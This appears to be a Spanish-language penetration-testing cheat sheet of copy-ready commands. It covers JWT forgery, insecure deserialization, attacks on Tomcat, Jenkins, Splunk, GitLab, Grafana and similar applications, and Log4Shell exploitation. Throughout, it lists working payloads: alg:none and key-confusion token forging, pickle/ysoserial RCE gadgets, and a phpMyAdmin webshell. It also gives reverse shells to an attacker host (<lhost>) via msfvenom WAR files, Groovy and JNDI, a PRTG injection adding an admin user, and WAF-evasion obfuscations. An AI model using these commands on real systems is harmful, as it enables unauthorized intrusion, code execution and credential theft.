Reconocer / manipular Decodificar cabecera y payload del token python3 jwt_tool.py '<jwt>'Manipular claims (expiracion, rol) una vez conocida o anulada la clave editar exp/iat o el claim de rol (admin=true) y volver a firmar con el secreto crackeadoLanzar todos los ataques conocidos contra el endpoint (playbook) python3 jwt_tool.py -t http://<ip>/ -rh 'Authorization: Bearer <jwt>' -M atalg:none Ataque alg:none (el servidor no valida la firma) python3 jwt_tool.py '<jwt>' -X aAlgoritmo none: si el server lo acepta, se falsifica cualquier claim sin clave header {"alg":"none"} + payload modificado + firma VACIACrackear el secreto (HS256) Crackear el secreto HS256 por fuerza bruta hashcat -m 16500 jwt.txt <rockyou.txt>Forjar el token: editar el payload y refirmar con el secreto python3 jwt_tool.py '<jwt>' -T -S hs256 -p '<secret>'Crackear el secreto HS256 con reglas cuando el diccionario base falla hashcat -m 16500 jwt.txt <rockyou.txt> -r rules/best64.ruleCrackear el secreto HS256 directamente con jwt_tool python3 jwt_tool.py '<jwt>' -C -d <rockyou.txt>Confusión de algoritmo Confusión de algoritmo RS256→HS256 con la clave pública python3 jwt_tool.py '<jwt>' -X k -pk public.pemkid / jku / x5u Inyeccion en kid: apuntar a un fichero de contenido conocido/vacio como clave python3 jwt_tool.py '<jwt>' -I -hc kid -hv '../../../dev/null' (sign with an empty key)kid vulnerable a SQLi: hacer que la BD devuelva una clave que tu controlas kid: "x' UNION SELECT 'clave_conocida'-- -"Inyeccion de jwk: incrustar tu propia clave publica en el header para autofirmar python3 jwt_tool.py '<jwt>' -X i (jwk embebido en la cabecera)jku/x5u: apuntar la validacion a un juego de claves alojado por ti header jku/x5u: "http://<lhost>/jwks.json"Inyeccion x5u/x5c: forzar la validacion contra tu certificado header x5u/x5c: cadena de certificados controlada por el atacanteFrameworks Cookies de sesion de Flask (firmadas, no JWT): crackear el SECRET_KEY flask-unsign --unsign --cookie '<cookie>' --wordlist <rockyou.txt>Deserialización insegura 15 comandos Copiar todo
Node.js Node.js (node-serialize): IIFE que ejecuta al deserializar {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('<cmd>')}()"}PHP PHP: objeto serializado manipulado (object injection) O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}PHP: deserialización por wrapper phar:// (phar-lfi-rce) phar://uploaded.phar/x # dispara __wakeup/__destruct del gadgetPHP: phpggc genera cadenas de gadgets POP para frameworks conocidos phpggc Monolog/RCE1 system 'id' -b | phpggc Laravel/RCE1 system idPython (pickle) Python pickle: __reduce__ que ejecuta al cargar class E:\n def __reduce__(self): return (os.system,('<cmd>',))Python: serializar un objeto con __reduce__ malicioso y pasarlo en base64 python3 -c "import pickle,os,base64;print(base64.b64encode(pickle.dumps(type('E',(),{'__reduce__':lambda s:(os.system,('id',))})())).decode())"Java (ysoserial) Java: generar un gadget con ysoserial (elige la cadena segun las libs del classpath) java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,<b64>}|{base64,-d}|bash' | base64 -w0Reconocer un objeto Java serializado por su cabecera (base64 rO0AB / hex AC ED 00 05) rO0AB... | bytes AC ED 00 05Deteccion ciega: URLDNS provoca una resolucion DNS sin necesitar RCE java -jar ysoserial.jar URLDNS 'http://<lhost>/' -> callback DNSCadena alternativa cuando CommonsCollections no esta en el classpath java -jar ysoserial.jar CommonsBeanutils1 'id' | base64 -w0.NET (ysoserial.net) .NET: ysoserial.net para BinaryFormatter/LosFormatter (ViewState, etc.) ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c 'id' -o base64.NET ViewState: forjar el gadget con la machineKey filtrada __VIEWSTATE + __VIEWSTATEGENERATOR -> ysoserial.net -p ViewState --generator=<gen> --path=<url>YAML / Ruby Python YAML: payload de yaml.load inseguro (ver concepto deserializacion YAML) !!python/object/apply:os.system ["id"]Otros runtimes: Marshal en Ruby y node-serialize en Node.js Ruby: Marshal.load with a Gem gadget | Node: use the node-serialize moduleCodificar Empaquetar el payload como suele viajar (cookie base64) echo -n '<payload_json>' | base64 -w0 # and URL-encode for the cookieAplicaciones y CVE Aplicaciones comunes (Tomcat, Jenkins, Git...) 28 comandos Copiar todo
Tomcat Tomcat: fuerza bruta del panel /manager (Basic Auth) hydra -L <users.txt> -P <pass.txt> -f <ip> -s 8080 http-get /manager/htmlTomcat: desplegar un .war malicioso y dispararlo (RCE) curl -u tomcat:<pass> -T shell.war 'http://<ip>:8080/manager/text/deploy?path=/sh'; curl http://<ip>:8080/sh/Tomcat: generar un .war de reverse shell con msfvenom msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war -o shell.warJenkins Jenkins: RCE por la Script Console de Groovy (admin) Groovy (/script): 'id'.execute().text # o new ProcessBuilder(['bash','-c','<cmd>']).start()Jenkins: automatizar el RCE de la consola con Metasploit msfconsole -q -x 'use exploit/multi/http/jenkins_script_console; set RHOSTS <ip>; run'Descifrar las credenciales guardadas de Jenkins # credentials.xml + secrets/master.key + secrets/hudson.util.Secret -> descifrar (jenkins-decrypt / Groovy)Git expuesto Descargar un .git expuesto y leer el historial (credenciales, código) git-dumper http://<ip>/.git/ ./loot; cd loot && git log -pEscarbar el historial de un .git recuperado en busca de secretos git log --oneline --all; git show <commit>; git stash list; git diff HEAD~1RCE en Gitea/Gogs mediante git-hooks # Gitea/Gogs: crear un repo + git-hook (post-receive) con un comando -> RCE al hacer pushphpMyAdmin phpMyAdmin: escribir una webshell con INTO OUTFILE (privilegio FILE) phpMyAdmin → SQL: SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php'Splunk Splunk: empaquetar app maliciosa (.spl) con scripted input tar -cvzf updater.tar.gz splunk_shell/ # bin/rev.py + default/inputs.conf [script://./bin/rev.py]Splunk: subir la app por la API del forwarder (RCE) curl -k https://<ip>:8089/services/apps/local -u <user>:<pass> -X POST -F name=@updater.tar.gzGitLab GitLab: enumerar usuarios validos (previo a spraying) python3 gitlab_userenum.py --url http://<ip> --wordlist <users.txt>GitLab <=13.10.2: RCE por ExifTool al subir imagen python3 gitlab_exiftool_rce.py -t http://<ip> -u <user> -p <pass> -c '<cmd>' # CVE-2021-22205CMS Enumerar usuarios y plugins vulnerables de WordPress wpscan --url http://<ip> --enumerate u,vp,vt --api-token <token>Enumerar versión y módulos de Drupal droopescan scan drupal -u http://<ip>Enumerar componentes de Joomla joomscan -u http://<ip> --enumerate-componentsDeserialización (Java/.NET) Generar un gadget de deserialización Java java -jar ysoserial.jar CommonsCollections5 '<cmd>' | base64Jenkins: reverse shell desde la Script Console (Groovy) r=Runtime.getRuntime();r.exec(['/bin/bash','-c','bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'] as String[])Otros Flask/Werkzeug: consola interactiva del depurador → RCE (si debug=True) curl 'http://<ip>/console?__debugger__=yes&cmd=<pin>&frm=0&s=<secret>' # WerkzeugSplunk: credenciales por defecto (admin/changeme) antes de subir una app RCE curl 'http://<ip>:8090/en-US/account/insecurelogin?username=admin&password=changeme' # SplunkEnumerar los datasources de Grafana ya con credenciales de admin curl -s 'http://<ip>:3000/api/datasources' -u admin:<pass> | jq # GrafanaRCE contra un gdbserver expuesto en la red python3 gdbserver_rce.py <ip>:<port> rev.bin # gdbserver expuesto → RCEVer los métodos HTTP permitidos (verb tampering) curl -s -X OPTIONS http://<ip>/ -iProbar un IDOR incrementando el identificador curl 'http://<ip>/download?id=1' ; curl 'http://<ip>/download?id=2'PRTG: inyeccion de comandos en notificacion (CVE-2018-9276) Setup > Notifications > EXECUTE PROGRAM > param: test.txt;net user <user> <pass> /add;net localgroup administrators <user> /addLFI en Grafana 8.x (traversal en los plugins) curl --path-as-is 'http://<ip>:3000/public/plugins/alertlist/../../../../../../../etc/passwd' # CVE-2021-43798Adminer: leer ficheros con un MySQL controlado (LOAD DATA LOCAL) # Adminer: connect it to YOUR MySQL and use LOAD DATA LOCAL INFILE to read files off the serverLog4Shell (CVE-2021-44228) 9 comandos Copiar todo
Detección / POC Sonda JNDI: si tu listener recibe la conexión, es vulnerable ${jndi:ldap://<lhost>/a} + sudo nc -nlvp 389Colocar la sonda en cabeceras y campos que acaben en el log ${jndi:ldap://<lhost>/a} inyectado en User-Agent / X-Api-Version / campos de loginVariantes JNDI Variantes rmi (RCE) y dns (detección ciega) ${jndi:rmi://<lhost>:1099/a} | ${jndi:dns://<lhost>/a}Bypass WAF / ofuscación Ofuscar con ${lower:} para saltar firmas ${${lower:j}ndi:${lower:l}dap://<lhost>/a}Ofuscación con ${::-x} carácter a carácter ${${::-j}${::-n}${::-d}${::-i}:ldap://<lhost>/a}Ofuscar usando variables de entorno ${jndi:${env:BARFOO:-l}dap://<lhost>/a}Explotación Servidor LDAP+HTTP que sirve la clase Java maliciosa python3 poc.py --userip <lhost> --webport 8080 --lport <lport> (log4j-shell-poc)Cadena manual con marshalsec cuando no se usa el poc marshalsec -cp ... LDAPRefServer 'http://<lhost>:8080/#Exploit' + servir Exploit.classDisparar el payload y recibir la reverse shell ${jndi:ldap://<lhost>:1389/a} + sudo rlwrap nc -nlvp <lport>Sin resultados